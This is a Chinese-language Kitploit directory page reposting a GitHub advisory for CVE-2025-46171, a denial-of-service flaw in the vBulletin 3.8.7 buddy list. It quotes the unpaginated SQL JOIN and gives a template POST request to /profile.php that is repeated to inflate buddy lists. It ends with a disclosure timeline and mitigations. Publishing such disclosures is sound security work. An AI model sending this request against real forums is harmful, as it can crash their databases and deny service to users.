Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-46171 — 关于 vBulletin 3.8.7 好友列表中拒绝服务漏洞的分析报告 | Kitploit
工具/GitHubGitHub/oiyl/cve-2025-46171
漏洞分析Web应用程序漏洞利用渗透测试错误配置数据库安全Archived
GitHuboiyl/cve-2025-46171

CVE-2025-46171

关于 vBulletin 3.8.7 好友列表中拒绝服务漏洞的分析报告

查看仓库
41年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

vBulletin 3.x.x - 通过好友列表过载导致的拒绝服务攻击

摘要

/misc.php?do=buddylist 端点执行一个单一的、大型 JOIN 查询,该查询检索所有好友及其用户和会话信息,以检查在线状态。由于该查询没有分页或结果限制地处理整个好友列表,因此当列表增大时,它会变得极其消耗资源,并可能使数据库过载。

此问题易于利用,且设置要求最低。除了基本用户帐户之外,不需要任何特殊权限。只需膨胀好友列表,就足以给数据库带来严重压力。

受影响版本

  • ✅ 确认存在漏洞: vBulletin 3.8.7

技术细节

此 SQL 查询检索好友详细信息以及会话信息,以检查每个好友的在线状态。由于它处理整个好友列表,并为每个条目与会话数据 JOIN,因此查询变得非常大且消耗资源。

root@kitploit:~
$buddys = $db->query_read_slave("
    SELECT
        user.username,
        (user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
        user.userid,
        session.lastactivity
    FROM " . TABLE_PREFIX . "userlist AS userlist
    LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
    LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
    WHERE userlist.userid = {$vbulletin->userinfo['userid']}
        AND userlist.relationid = user.userid
        AND type = 'buddy'
    ORDER BY username ASC, session.lastactivity DESC
");

时间线

  • 2025年4月17日:发现漏洞
  • 2025年4月18日:向 MITRE 提交 CVE 请求
  • 2025年5月29日:分配 CVE-2025-46171
  • 2025年6月27日:公开披露

利用

批量添加好友

可以通过向 /profile.php POST 请求并携带 listbits 参数来填充批量好友列表。可以重复此操作,向好友列表中添加数千个用户 ID:

root@kitploit:~
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...

影响

在大型论坛上,这可能导致严重的查询延迟,甚至导致 MySQL 实例崩溃。

缓解措施:

  • 对查询进行分页,或限制每次请求检索的好友条目数量
  • 对好友列表的修改操作实施速率限制和验证
下载工具